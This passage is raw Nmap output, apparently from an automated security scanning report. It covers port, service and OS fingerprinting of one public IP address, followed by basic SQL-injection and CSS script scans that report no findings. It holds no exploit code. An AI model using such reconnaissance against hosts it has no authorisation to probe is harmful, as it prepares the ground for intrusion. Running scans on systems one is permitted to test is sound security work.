| 256 c3:b1:50:24:dd:77:f6:98:25:5d:60:f4:bc:44:ac:de (ECDSA)

|\_ 256 86:f1:a9:e5:6b:92:b2:33:70:ae:bc:7c:ed:cb:4c:ab (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|\_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 06 Nov 2023 14:24:54 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0  
| Connection: close  
| GetRequest, HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
|\_ Date: Mon, 06 Nov 2023 14:24:53 GMT  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 14:24:53 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T14:24:53.510+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:

| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 14:25:11 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T14:25:11.411+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=6548F735%P=x86\_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 14:24:5

SF:3 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 14:24:53 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n  
SF:nConnection: close Content-Length: 0 Date: Mon, 06  
SF:0Nov 2023 14:24:54 GMT  
")%r(Socks5,42,"HTTP/1.1 400  
SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-  
SF:Length: 0 Connection: close  
")%r(Help,42,"HTTP/1.1  
SF:400 Bad Request Content-Length: 0 Connection: close  
SF:  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont  
SF:ent-Length: 0 Connection: close  
")%r(TerminalServerCook  
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
")%  
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:  
SF:00 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400\n  
SF:x20Bad Request Content-Length: 0 Connection: close  
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng  
SF:th: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co  
SF:ntent-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close

```

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====
SF:Port9090-TCP:V=7.92%I=7%D=11/6%Time=6548F735%P=x86_64-pc-linux-
gnu%(Ge
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra
SF:me-Options: DENY Date: Mon, 06 Nov 2023 14:24:53\x
SF:20GMT Connection: close Vary: Origin Vary: Access-Con
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con
SF:tent-Type-Options: nosniff Content-Type: application/json \n
SF:r { \"timestamp\" : \"2023-11-06T14:24:53.510+00:00\"
SF:, \"status\" : 404, \"error\" : \"Not
SF:Found\", \"path\" : \"/\\" }")%r(WMSRequest,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(SqueezeCenter_C
SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%r(GenericLines,42,"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
")%r
SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X
SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 14:25:
SF:11 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

```



SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-11-06T14:

SF:25:11.411+00:00\", \"status\" : 404, \"error\\n

SF:\" : \"Not Found\", \"path\" : \"\" }\" )%r(RTSP

SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n

SF:r Connection: close

\" );

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.03 ms 172.17.0.1

2 5473.80 ms 20.204.4.44

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 336.72 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:27 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:27 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.